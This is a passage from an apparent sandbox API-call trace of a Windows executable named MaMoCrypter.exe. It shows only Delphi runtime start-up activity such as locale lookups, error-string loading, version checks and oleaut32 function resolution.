lpFilename="C:\\Users\\FD1HVy\\Desktop\\MaMoCrypter.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\mamocrypter.exe")) returned 0x27 [0072.669] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x19dace, nSize=0x105 | out: lpFilename="C:\\Users\\FD1HVy\\Desktop\\MaMoCrypter.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\mamocrypter.exe")) returned 0x27 [0072.698] VirtualAlloc (lpAddress=0x0, dwSize=0x13fff0, flAllocationType=0x1000, flProtect=0x4) returned 0x24b0000 [0072.880] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Embarcadero\\Locales", ulOptions=0x0, samDesired=0xf0019, phkResult=0x19da48 | out: phkResult=0x19da48*=0x0) returned 0x2 [0072.880] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Embarcadero\\Locales", ulOptions=0x0, samDesired=0xf0019, phkResult=0x19da48 | out: phkResult=0x19da48*=0x0) returned 0x2 [0072.880] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\CodeGear\\Locales", ulOptions=0x0, samDesired=0xf0019, phkResult=0x19da48 | out: phkResult=0x19da48*=0x0) returned 0x2 [0072.881] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\CodeGear\\Locales", ulOptions=0x0, samDesired=0xf0019, phkResult=0x19da48 | out: phkResult=0x19da48*=0x0) returned 0x2 [0072.881] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Borland\\Locales", ulOptions=0x0, samDesired=0xf0019, phkResult=0x19da48 | out: phkResult=0x19da48*=0x0) returned 0x2 [0072.881] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Borland\\Delphi\\Locales", ulOptions=0x0, samDesired=0xf0019, phkResult=0x19da48 | out: phkResult=0x19da48*=0x0) returned 0x2 [0072.881] GetUserDefaultUILanguage () returned 0x409 [0072.881] IsValidLocale (Locale=0x409, dwFlags=0x2) returned 1 [0072.881] GetThreadUILanguage () returned 0x190409 [0072.881] GetThreadPreferredUILanguages (in: dwFlags=0x38, pulNumLanguages=0x19da24, pwszLanguagesBuffer=0x0, pcchLanguagesBuffer=0x19da4c | out: pulNumLanguages=0x19da24, pwszLanguagesBuffer=0x0, pcchLanguagesBuffer=0x19da4c) returned 1 [0072.881] GetThreadPreferredUILanguages (in: dwFlags=0x38, pulNumLanguages=0x19da24, pwszLanguagesBuffer=0x25e19b0, pcchLanguagesBuffer=0x19da4c | out: pulNumLanguages=0x19da24, pwszLanguagesBuffer=0x25e19b0, pcchLanguagesBuffer=0x19da4c) returned 1 [0072.882] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\MaMoCrypter.en-US", lpFindFileData=0x19d7ec | out: lpFindFileData=0x19d7ec*(dwFileAttributes=0x779e9fd0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x101fffe, ftLastAccessTime.dwLowDateTime=0x17000017, ftLastAccessTime.dwHighDateTime=0xa09d58, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0xa0b190, nFileSizeHigh=0xa00000, nFileSizeLow=0xc0000000, dwReserved0=0xa0b140, dwReserved1=0xa09d60, cFileName="\x17", cAlternateFileName="㍜ɝꦔ@$")) returned 0xffffffff [0072.882] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\MaMoCrypter.en", lpFindFileData=0x19d7ec | out: lpFindFileData=0x19d7ec*(dwFileAttributes=0x779e9fd0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x101fffe, ftLastAccessTime.dwLowDateTime=0x17000017, ftLastAccessTime.dwHighDateTime=0xa09d58, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0xa0b190, nFileSizeHigh=0xa00000, nFileSizeLow=0xc0000000, dwReserved0=0xa0b140, dwReserved1=0xa09d60, cFileName="\x17", cAlternateFileName="踌ɞꦔ@$")) returned 0xffffffff [0072.882] GetUserDefaultUILanguage () returned 0x409 [0072.882] GetLocaleInfoW (in: Locale=0x409, LCType=0x3, lpLCData=0x19da68, cchData=4 | out: lpLCData="ENU") returned 4 [0072.883] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\MaMoCrypter.ENU", lpFindFileData=0x19d7f4 | out: lpFindFileData=0x19d7f4*(dwFileAttributes=0x101fffe, ftCreationTime.dwLowDateTime=0x17000017, ftCreationTime.dwHighDateTime=0xa09d58, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0xa0b190, ftLastWriteTime.dwLowDateTime=0xa00000, ftLastWriteTime.dwHighDateTime=0xc0000000, nFileSizeHigh=0xa0b140, nFileSizeLow=0xa09d60, dwReserved0=0x17, dwReserved1=0x779b2dfe, cFileName="\x09Ā\x17", cAlternateFileName="踌ɞꦔ@$")) returned 0xffffffff [0072.883] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\MaMoCrypter.EN", lpFindFileData=0x19d7f4 | out: lpFindFileData=0x19d7f4*(dwFileAttributes=0x101fffe, ftCreationTime.dwLowDateTime=0x17000017, ftCreationTime.dwHighDateTime=0xa09d58, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0xa0b190, ftLastWriteTime.dwLowDateTime=0xa00000, ftLastWriteTime.dwHighDateTime=0xc0000000, nFileSizeHigh=0xa0b140, nFileSizeLow=0xa09d60, dwReserved0=0x17, dwReserved1=0x779b2dfe, cFileName="\x09Ā\x17", cAlternateFileName="踌ɞꦔ@$")) returned 0xffffffff [0072.883] LoadStringW (in: hInstance=0x400000, uID=0xffcf, lpBuffer=0x19df14, cchBufferMax=4096 | out: lpBuffer="Method called on disposed object") returned 0x20 [0072.883] LoadStringW (in: hInstance=0x400000, uID=0xffce, lpBuffer=0x19df14, cchBufferMax=4096 | out: lpBuffer="Feature not implemented") returned 0x17 [0072.883] LoadStringW (in: hInstance=0x400000, uID=0xffcd, lpBuffer=0x19df14, cchBufferMax=4096 | out: lpBuffer="Monitor support function not initialized") returned 0x28 [0072.883] LoadStringW (in: hInstance=0x400000, uID=0xffcc, lpBuffer=0x19df14, cchBufferMax=4096 | out: lpBuffer="Object lock not owned") returned 0x15 [0072.883] LoadStringW (in: hInstance=0x400000, uID=0xffcb, lpBuffer=0x19df14, cchBufferMax=4096 | out: lpBuffer="Exception in safecall method") returned 0x1c [0072.883] LoadStringW (in: hInstance=0x400000, uID=0xffca, lpBuffer=0x19df14, cchBufferMax=4096 | out: lpBuffer="Interface not supported") returned 0x17 [0072.883] LoadStringW (in: hInstance=0x400000, uID=0xffc8, lpBuffer=0x19df14, cchBufferMax=4096 | out: lpBuffer="External exception %x") returned 0x15 [0072.883] LoadStringW (in: hInstance=0x400000, uID=0xffc9, lpBuffer=0x19df14, cchBufferMax=4096 | out: lpBuffer="Assertion failed") returned 0x10 [0072.884] LoadStringW (in: hInstance=0x400000, uID=0xffd7, lpBuffer=0x19df14, cchBufferMax=4096 | out: lpBuffer="Variant or safe array index out of bounds") returned 0x29 [0072.884] LoadStringW (in: hInstance=0x400000, uID=0xffc4, lpBuffer=0x19df14, cchBufferMax=4096 | out: lpBuffer="Invalid argument") returned 0x10 [0072.884] LoadStringW (in: hInstance=0x400000, uID=0xffd6, lpBuffer=0x19df14, cchBufferMax=4096 | out: lpBuffer="Error creating variant or safe array") returned 0x24 [0072.884] LoadStringW (in: hInstance=0x400000, uID=0xffd1, lpBuffer=0x19df14, cchBufferMax=4096 | out: lpBuffer="Variant method calls not supported") returned 0x22 [0072.884] LoadStringW (in: hInstance=0x400000, uID=0xffda, lpBuffer=0x19df14, cchBufferMax=4096 | out: lpBuffer="Invalid variant operation") returned 0x19 [0072.884] LoadStringW (in: hInstance=0x400000, uID=0xffd9, lpBuffer=0x19df14, cchBufferMax=4096 | out: lpBuffer="Invalid variant type conversion") returned 0x1f [0072.884] LoadStringW (in: hInstance=0x400000, uID=0xffea, lpBuffer=0x19df14, cchBufferMax=4096 | out: lpBuffer="Stack overflow") returned 0xe [0072.884] LoadStringW (in: hInstance=0x400000, uID=0xffeb, lpBuffer=0x19df14, cchBufferMax=4096 | out: lpBuffer="Control-C hit") returned 0xd [0072.884] LoadStringW (in: hInstance=0x400000, uID=0xffec, lpBuffer=0x19df14, cchBufferMax=4096 | out: lpBuffer="Privileged instruction") returned 0x16 [0072.884] LoadStringW (in: hInstance=0x400000, uID=0xffe9, lpBuffer=0x19df14, cchBufferMax=4096 | out: lpBuffer="Access violation") returned 0x10 [0072.884] LoadStringW (in: hInstance=0x400000, uID=0xffe7, lpBuffer=0x19df14, cchBufferMax=4096 | out: lpBuffer="Invalid class typecast") returned 0x16 [0072.884] LoadStringW (in: hInstance=0x400000, uID=0xffe5, lpBuffer=0x19df14, cchBufferMax=4096 | out: lpBuffer="Floating point underflow") returned 0x18 [0072.884] LoadStringW (in: hInstance=0x400000, uID=0xffe4, lpBuffer=0x19df14, cchBufferMax=4096 | out: lpBuffer="Floating point overflow") returned 0x17 [0072.884] LoadStringW (in: hInstance=0x400000, uID=0xffe3, lpBuffer=0x19df14, cchBufferMax=4096 | out: lpBuffer="Floating point division by zero") returned 0x1f [0072.885] LoadStringW (in: hInstance=0x400000, uID=0xffe2, lpBuffer=0x19df14, cchBufferMax=4096 | out: lpBuffer="Invalid floating point operation") returned 0x20 [0072.885] LoadStringW (in: hInstance=0x400000, uID=0xffe1, lpBuffer=0x19df14, cchBufferMax=4096 | out: lpBuffer="Integer overflow") returned 0x10 [0072.885] LoadStringW (in: hInstance=0x400000, uID=0xffe0, lpBuffer=0x19df14, cchBufferMax=4096 | out: lpBuffer="Range check error") returned 0x11 [0072.885] LoadStringW (in: hInstance=0x400000, uID=0xffff, lpBuffer=0x19df14, cchBufferMax=4096 | out: lpBuffer="Division by zero") returned 0x10 [0072.949] LoadStringW (in: hInstance=0x400000, uID=0xfff6, lpBuffer=0x19df0c, cchBufferMax=4096 | out: lpBuffer="Out of memory") returned 0xd [0072.949] LoadStringW (in: hInstance=0x400000, uID=0xffe6, lpBuffer=0x19df0c, cchBufferMax=4096 | out: lpBuffer="Invalid pointer operation") returned 0x19 [0072.949] GetVersionExW (in: lpVersionInformation=0x19fe20*(dwOSVersionInfoSize=0x11c, dwMajorVersion=0x0, dwMinorVersion=0x0, dwBuildNumber=0x0, dwPlatformId=0x0, szCSDVersion="") | out: lpVersionInformation=0x19fe20*(dwOSVersionInfoSize=0x11c, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x3ad7, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0072.969] LoadLibraryA (lpLibFileName="kernel32.dll") returned 0x772d0000 [0072.970] LocalAlloc (uFlags=0x40, uBytes=0x8) returned 0xa12a30 [0072.970] GetProcAddress (hModule=0x772d0000, lpProcName="GetNativeSystemInfo") returned 0x772e5130 [0072.970] GetNativeSystemInfo (in: lpSystemInfo=0x19fdfc | out: lpSystemInfo=0x19fdfc*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0073.115] GetFileVersionInfoSizeW (in: lptstrFilename="kernel32.dll", lpdwHandle=0x19fdd8 | out: lpdwHandle=0x19fdd8) returned 0x72c [0073.123] GetFileVersionInfoW (in: lptstrFilename="kernel32.dll", dwHandle=0x0, dwLen=0x72c, lpData=0x2598800 | out: lpData=0x2598800) returned 1 [0073.123] VerQueryValueW (in: pBlock=0x2598800, lpSubBlock="\\", lplpBuffer=0x19fdd0, puLen=0x19fdcc | out: lplpBuffer=0x19fdd0*=0x2598828, puLen=0x19fdcc) returned 1 [0073.123] LoadStringW (in: hInstance=0x400000, uID=0xff38, lpBuffer=0x19dde4, cchBufferMax=4096 | out: lpBuffer="Windows") returned 0x7 [0073.123] VerSetConditionMask (ConditionMask=0x0, TypeMask=0x0, Condition=0x80) returned 0x200000 [0073.123] VerifyVersionInfoW (in: lpVersionInformation=0x19fcc4, dwTypeMask=0x80, dwlConditionMask=0x200000 | out: lpVersionInformation=0x19fcc4) returned 1 [0073.123] LoadStringW (in: hInstance=0x400000, uID=0xff26, lpBuffer=0x19dde4, cchBufferMax=4096 | out: lpBuffer="Windows 10") returned 0xa [0073.123] LoadStringW (in: hInstance=0x400000, uID=0xfffe, lpBuffer=0x19df04, cchBufferMax=4096 | out: lpBuffer="Invalid numeric input") returned 0x15 [0073.123] LoadStringW (in: hInstance=0x400000, uID=0xfffd, lpBuffer=0x19df04, cchBufferMax=4096 | out: lpBuffer="Disk full") returned 0x9 [0073.123] LoadStringW (in: hInstance=0x400000, uID=0xfffc, lpBuffer=0x19df04, cchBufferMax=4096 | out: lpBuffer="Read beyond end of file") returned 0x17 [0073.124] LoadStringW (in: hInstance=0x400000, uID=0xfffb, lpBuffer=0x19df04, cchBufferMax=4096 | out: lpBuffer="File access denied") returned 0x12 [0073.124] LoadStringW (in: hInstance=0x400000, uID=0xfffa, lpBuffer=0x19df04, cchBufferMax=4096 | out: lpBuffer="Too many open files") returned 0x13 [0073.124] LoadStringW (in: hInstance=0x400000, uID=0xfff9, lpBuffer=0x19df04, cchBufferMax=4096 | out: lpBuffer="Invalid filename") returned 0x10 [0073.124] LoadStringW (in: hInstance=0x400000, uID=0xfff8, lpBuffer=0x19df04, cchBufferMax=4096 | out: lpBuffer="File not found") returned 0xe [0073.124] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x19fcea, nSize=0x105 | out: lpFilename="C:\\Users\\FD1HVy\\Desktop\\MaMoCrypter.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\mamocrypter.exe")) returned 0x27 [0073.124] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Embarcadero\\Locales", ulOptions=0x0, samDesired=0xf0019, phkResult=0x19fef8 | out: phkResult=0x19fef8*=0x0) returned 0x2 [0073.124] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Embarcadero\\Locales", ulOptions=0x0, samDesired=0xf0019, phkResult=0x19fef8 | out: phkResult=0x19fef8*=0x0) returned 0x2 [0073.124] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\CodeGear\\Locales", ulOptions=0x0, samDesired=0xf0019, phkResult=0x19fef8 | out: phkResult=0x19fef8*=0x0) returned 0x2 [0073.124] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\CodeGear\\Locales", ulOptions=0x0, samDesired=0xf0019, phkResult=0x19fef8 | out: phkResult=0x19fef8*=0x0) returned 0x2 [0073.124] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Borland\\Locales", ulOptions=0x0, samDesired=0xf0019, phkResult=0x19fef8 | out: phkResult=0x19fef8*=0x0) returned 0x2 [0073.124] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Borland\\Delphi\\Locales", ulOptions=0x0, samDesired=0xf0019, phkResult=0x19fef8 | out: phkResult=0x19fef8*=0x0) returned 0x2 [0073.126] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x772d0000 [0073.126] GetProcAddress (hModule=0x772d0000, lpProcName="GetLogicalProcessorInformation") returned 0x772e71b0 [0073.126] LoadLibraryA (lpLibFileName="kernel32.dll") returned 0x772d0000 [0073.126] LocalAlloc (uFlags=0x40, uBytes=0x8) returned 0xa12990 [0073.126] GetProcAddress (hModule=0x772d0000, lpProcName="GetLogicalProcessorInformation") returned 0x772e71b0 [0073.126] GetLogicalProcessorInformation (in: Buffer=0x0, ReturnedLength=0x19fedc | out: Buffer=0x0, ReturnedLength=0x19fedc) returned 0 [0073.126] GetLastError () returned 0x7a [0073.126] GetLogicalProcessorInformation (in: Buffer=0x25914d0, ReturnedLength=0x19fedc | out: Buffer=0x25914d0, ReturnedLength=0x19fedc) returned 1 [0073.126] GetCurrentThreadId () returned 0x112c [0073.126] GetCurrentThreadId () returned 0x112c [0073.126] GetVersionExW (in: lpVersionInformation=0x19fdec*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa17d00, dwMinorVersion=0x34d037ef, dwBuildNumber=0x19fe2c, dwPlatformId=0x74ca9861, szCSDVersion="") | out: lpVersionInformation=0x19fdec*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x3ad7, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0073.126] GetCurrentThreadId () returned 0x112c [0073.127] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x772d0000 [0073.127] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="CompareStringOrdinal", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0073.127] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="CompareStringOrdinal", cchWideChar=20, lpMultiByteStr=0x25a80dc, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CompareStringOrdinal", lpUsedDefaultChar=0x0) returned 20 [0073.127] GetProcAddress (hModule=0x772d0000, lpProcName="CompareStringOrdinal") returned 0x772e7070 [0073.127] GetThreadLocale () returned 0x409 [0073.127] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x19fe30 | out: lpCPInfo=0x19fe30) returned 1 [0073.145] IsValidLocale (Locale=0x409, dwFlags=0x1) returned 1 [0073.145] GetCurrentThreadId () returned 0x112c [0073.145] GetCurrentThreadId () returned 0x112c [0073.161] GetLocaleInfoW (in: Locale=0x409, LCType=0x100b, lpLCData=0x19fbac, cchData=256 | out: lpLCData="2") returned 2 [0073.209] GetThreadLocale () returned 0x409 [0073.209] EnumCalendarInfoW (lpCalInfoEnumProc=0x429964, Locale=0x409, Calendar=0x2, CalType=0x4) returned 1 [0073.210] GetThreadLocale () returned 0x409 [0073.210] EnumCalendarInfoW (lpCalInfoEnumProc=0x4299fc, Locale=0x409, Calendar=0x2, CalType=0x3) returned 1 [0073.210] GetCurrentThreadId () returned 0x112c [0073.210] GetLocaleInfoW (in: Locale=0x409, LCType=0x37, lpLCData=0x19fb94, cchData=256 | out: lpLCData="Sun") returned 4 [0073.211] GetLocaleInfoW (in: Locale=0x409, LCType=0x30, lpLCData=0x19fb94, cchData=256 | out: lpLCData="Sunday") returned 7 [0073.211] GetLocaleInfoW (in: Locale=0x409, LCType=0x31, lpLCData=0x19fb94, cchData=256 | out: lpLCData="Mon") returned 4 [0073.211] GetLocaleInfoW (in: Locale=0x409, LCType=0x2a, lpLCData=0x19fb94, cchData=256 | out: lpLCData="Monday") returned 7 [0073.211] GetLocaleInfoW (in: Locale=0x409, LCType=0x32, lpLCData=0x19fb94, cchData=256 | out: lpLCData="Tue") returned 4 [0073.211] GetLocaleInfoW (in: Locale=0x409, LCType=0x2b, lpLCData=0x19fb94, cchData=256 | out: lpLCData="Tuesday") returned 8 [0073.211] GetLocaleInfoW (in: Locale=0x409, LCType=0x33, lpLCData=0x19fb94, cchData=256 | out: lpLCData="Wed") returned 4 [0073.211] GetLocaleInfoW (in: Locale=0x409, LCType=0x2c, lpLCData=0x19fb94, cchData=256 | out: lpLCData="Wednesday") returned 10 [0073.211] GetLocaleInfoW (in: Locale=0x409, LCType=0x34, lpLCData=0x19fb94, cchData=256 | out: lpLCData="Thu") returned 4 [0073.211] GetLocaleInfoW (in: Locale=0x409, LCType=0x2d, lpLCData=0x19fb94, cchData=256 | out: lpLCData="Thursday") returned 9 [0073.211] GetLocaleInfoW (in: Locale=0x409, LCType=0x35, lpLCData=0x19fb94, cchData=256 | out: lpLCData="Fri") returned 4 [0073.211] GetLocaleInfoW (in: Locale=0x409, LCType=0x2e, lpLCData=0x19fb94, cchData=256 | out: lpLCData="Friday") returned 7 [0073.211] GetLocaleInfoW (in: Locale=0x409, LCType=0x36, lpLCData=0x19fb94, cchData=256 | out: lpLCData="Sat") returned 4 [0073.211] GetLocaleInfoW (in: Locale=0x409, LCType=0x2f, lpLCData=0x19fb94, cchData=256 | out: lpLCData="Saturday") returned 9 [0073.211] GetLocaleInfoW (in: Locale=0x409, LCType=0x44, lpLCData=0x19fb98, cchData=256 | out: lpLCData="Jan") returned 4 [0073.211] GetLocaleInfoW (in: Locale=0x409, LCType=0x38, lpLCData=0x19fb98, cchData=256 | out: lpLCData="January") returned 8 [0073.211] GetLocaleInfoW (in: Locale=0x409, LCType=0x45, lpLCData=0x19fb98, cchData=256 | out: lpLCData="Feb") returned 4 [0073.211] GetLocaleInfoW (in: Locale=0x409, LCType=0x39, lpLCData=0x19fb98, cchData=256 | out: lpLCData="February") returned 9 [0073.211] GetLocaleInfoW (in: Locale=0x409, LCType=0x46, lpLCData=0x19fb98, cchData=256 | out: lpLCData="Mar") returned 4 [0073.211] GetLocaleInfoW (in: Locale=0x409, LCType=0x3a, lpLCData=0x19fb98, cchData=256 | out: lpLCData="March") returned 6 [0073.211] GetLocaleInfoW (in: Locale=0x409, LCType=0x47, lpLCData=0x19fb98, cchData=256 | out: lpLCData="Apr") returned 4 [0073.211] GetLocaleInfoW (in: Locale=0x409, LCType=0x3b, lpLCData=0x19fb98, cchData=256 | out: lpLCData="April") returned 6 [0073.211] GetLocaleInfoW (in: Locale=0x409, LCType=0x48, lpLCData=0x19fb98, cchData=256 | out: lpLCData="May") returned 4 [0073.211] GetLocaleInfoW (in: Locale=0x409, LCType=0x3c, lpLCData=0x19fb98, cchData=256 | out: lpLCData="May") returned 4 [0073.211] GetLocaleInfoW (in: Locale=0x409, LCType=0x49, lpLCData=0x19fb98, cchData=256 | out: lpLCData="Jun") returned 4 [0073.211] GetLocaleInfoW (in: Locale=0x409, LCType=0x3d, lpLCData=0x19fb98, cchData=256 | out: lpLCData="June") returned 5 [0073.211] GetLocaleInfoW (in: Locale=0x409, LCType=0x4a, lpLCData=0x19fb98, cchData=256 | out: lpLCData="Jul") returned 4 [0073.212] GetLocaleInfoW (in: Locale=0x409, LCType=0x3e, lpLCData=0x19fb98, cchData=256 | out: lpLCData="July") returned 5 [0073.212] GetLocaleInfoW (in: Locale=0x409, LCType=0x4b, lpLCData=0x19fb98, cchData=256 | out: lpLCData="Aug") returned 4 [0073.212] GetLocaleInfoW (in: Locale=0x409, LCType=0x3f, lpLCData=0x19fb98, cchData=256 | out: lpLCData="August") returned 7 [0073.212] GetLocaleInfoW (in: Locale=0x409, LCType=0x4c, lpLCData=0x19fb98, cchData=256 | out: lpLCData="Sep") returned 4 [0073.212] GetLocaleInfoW (in: Locale=0x409, LCType=0x40, lpLCData=0x19fb98, cchData=256 | out: lpLCData="September") returned 10 [0073.212] GetLocaleInfoW (in: Locale=0x409, LCType=0x4d, lpLCData=0x19fb98, cchData=256 | out: lpLCData="Oct") returned 4 [0073.212] GetLocaleInfoW (in: Locale=0x409, LCType=0x41, lpLCData=0x19fb98, cchData=256 | out: lpLCData="October") returned 8 [0073.212] GetLocaleInfoW (in: Locale=0x409, LCType=0x4e, lpLCData=0x19fb98, cchData=256 | out: lpLCData="Nov") returned 4 [0073.212] GetLocaleInfoW (in: Locale=0x409, LCType=0x42, lpLCData=0x19fb98, cchData=256 | out: lpLCData="November") returned 9 [0073.212] GetLocaleInfoW (in: Locale=0x409, LCType=0x4f, lpLCData=0x19fb98, cchData=256 | out: lpLCData="Dec") returned 4 [0073.212] GetLocaleInfoW (in: Locale=0x409, LCType=0x43, lpLCData=0x19fb98, cchData=256 | out: lpLCData="December") returned 9 [0073.212] GetLocaleInfoW (in: Locale=0x409, LCType=0x14, lpLCData=0x19fbe8, cchData=256 | out: lpLCData="$") returned 2 [0073.212] GetLocaleInfoW (in: Locale=0x409, LCType=0x1b, lpLCData=0x19fbe8, cchData=256 | out: lpLCData="0") returned 2 [0073.212] GetLocaleInfoW (in: Locale=0x409, LCType=0x1c, lpLCData=0x19fbe8, cchData=256 | out: lpLCData="0") returned 2 [0073.212] GetLocaleInfoW (in: Locale=0x409, LCType=0xf, lpLCData=0x19fde0, cchData=2 | out: lpLCData=",") returned 2 [0073.212] GetLocaleInfoW (in: Locale=0x409, LCType=0xe, lpLCData=0x19fde0, cchData=2 | out: lpLCData=".") returned 2 [0073.212] GetLocaleInfoW (in: Locale=0x409, LCType=0x19, lpLCData=0x19fbe8, cchData=256 | out: lpLCData="2") returned 2 [0073.212] GetLocaleInfoW (in: Locale=0x409, LCType=0x1d, lpLCData=0x19fde0, cchData=2 | out: lpLCData="/") returned 2 [0073.212] GetLocaleInfoW (in: Locale=0x409, LCType=0x1f, lpLCData=0x19fba4, cchData=256 | out: lpLCData="M/d/yyyy") returned 9 [0073.212] GetLocaleInfoW (in: Locale=0x409, LCType=0x1009, lpLCData=0x19fba4, cchData=256 | out: lpLCData="1") returned 2 [0073.212] GetLocaleInfoW (in: Locale=0x409, LCType=0x20, lpLCData=0x19fba4, cchData=256 | out: lpLCData="dddd, MMMM d, yyyy") returned 19 [0073.212] GetLocaleInfoW (in: Locale=0x409, LCType=0x1009, lpLCData=0x19fba4, cchData=256 | out: lpLCData="1") returned 2 [0073.213] GetLocaleInfoW (in: Locale=0x409, LCType=0x1e, lpLCData=0x19fde0, cchData=2 | out: lpLCData=":") returned 2 [0073.213] GetLocaleInfoW (in: Locale=0x409, LCType=0x28, lpLCData=0x19fbe8, cchData=256 | out: lpLCData="AM") returned 3 [0073.213] GetLocaleInfoW (in: Locale=0x409, LCType=0x29, lpLCData=0x19fbe8, cchData=256 | out: lpLCData="PM") returned 3 [0073.213] GetLocaleInfoW (in: Locale=0x409, LCType=0x25, lpLCData=0x19fbe8, cchData=256 | out: lpLCData="0") returned 2 [0073.213] GetLocaleInfoW (in: Locale=0x409, LCType=0x23, lpLCData=0x19fbe8, cchData=256 | out: lpLCData="0") returned 2 [0073.213] GetLocaleInfoW (in: Locale=0x409, LCType=0x1005, lpLCData=0x19fbe8, cchData=256 | out: lpLCData="0") returned 2 [0073.213] GetLocaleInfoW (in: Locale=0x409, LCType=0xc, lpLCData=0x19fde0, cchData=2 | out: lpLCData=",") returned 2 [0073.271] GetModuleHandleW (lpModuleName="oleaut32.dll") returned 0x77440000 [0073.271] GetProcAddress (hModule=0x77440000, lpProcName="VariantChangeTypeEx") returned 0x7745a610 [0073.271] GetProcAddress (hModule=0x77440000, lpProcName="VarNeg") returned 0x774a52c0 [0073.271] GetProcAddress (hModule=0x77440000, lpProcName="VarNot") returned 0x774a6560 [0073.271] GetProcAddress (hModule=0x77440000, lpProcName="VarAdd") returned 0x7747d610 [0073.271] GetProcAddress (hModule=0x77440000, lpProcName="VarSub") returned 0x7747e3e0 [0073.271] GetProcAddress (hModule=0x77440000, lpProcName="VarMul") returned 0x7747db10 [0073.272] GetProcAddress (hModule=0x77440000, lpProcName="VarDiv") returned 0x774a5800 [0073.272] GetProcAddress (hModule=0x77440000, lpProcName="VarIdiv") returned 0x774a61a0 [0073.272] GetProcAddress (hModule=0x77440000, lpProcName="VarMod") returned 0x774a6400 [0073.272] GetProcAddress (hModule=0x77440000, lpProcName="VarAnd") returned 0x77473200 [0073.272] GetProcAddress (hModule=0x77440000, lpProcName="VarOr") returned 0x774a6610 [0073.272] GetProcAddress (hModule=0x77440000, lpProcName="VarXor") returned 0x774a67b0 [0073.272] GetProcAddress (hModule=0x77440000, lpProcName="VarCmp") returned 0x774660b0 [0073.273] GetProcAddress (hModule=0x77440000, lpProcName="VarI4FromStr") returned 0x77466ec0 [0073.273] GetProcAddress (hModule=0x77440000, lpProcName="VarR4FromStr") returned 0x77473010 [0073.273] GetProcAddress (hModule=0x77440000, lpProcName="VarR8FromStr") returned 0x77473630 [0073.273] GetProcAddress (hModule=0x77440000, lpProcName="VarDateFromStr") returned 0x77468b90 [0073.273] GetProcAddress (hModule=0x77440000, lpProcName="VarCyFromStr") returned 0x77452d90 [0073.273] GetProcAddress (hModule=0x77440000, lpProcName="VarBoolFromStr") returned 0x774648f0 [0073.273] GetProcAddress (hModule=0x77440000, lpProcName="VarBstrFromCy") returned 0x77467f50 [0073.274] GetProcAddress (hModule=0x77440000, lpProcName="VarBstrFromDate") returned 0x774689c0 [0073.274] GetProcAddress (hModule=0x77440000, lpProcName="VarBstrFromBool") returned 0x774648a0 [0073.299] VarBstrFromBool (in: boolIn=0, lcid=0x400, dwFlags=0x0, pbstrOut=0x19ff20 | out: pbstrOut=0x19ff20*="False") returned 0x0 [0073.342] CharLowerBuffW (in: lpsz="False", cchLength=0x5 | out: lpsz="false") returned 0x5 [0073.344] CharUpperBuffW (in: lpsz="False", cchLength=0x5 | out: lpsz="FALSE") returned 0x5 [0073.344] VarBstrFromBool (in: boolIn=1, lcid=0x400, dwFlags=0x0, pbstrOut=0x19ff20 | out: pbstrOut=0x19ff20*="True") returned 0x0 [0073.344] CharLowerBuffW (in: lpsz="True", cchLength=0x4 | out: lpsz="true") returned 0x4 [0073.344] CharUpperBuffW (in: lpsz="True", cchLength=0x4 | out: lpsz="TRUE") returned 0x4 [0073.489] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x210 [0073.619] GetACP () returned 0x4e4 [0073.643] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x19fee0 | out: lpCPInfo=0x19fee0) returned 1 [0073.643] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=1, 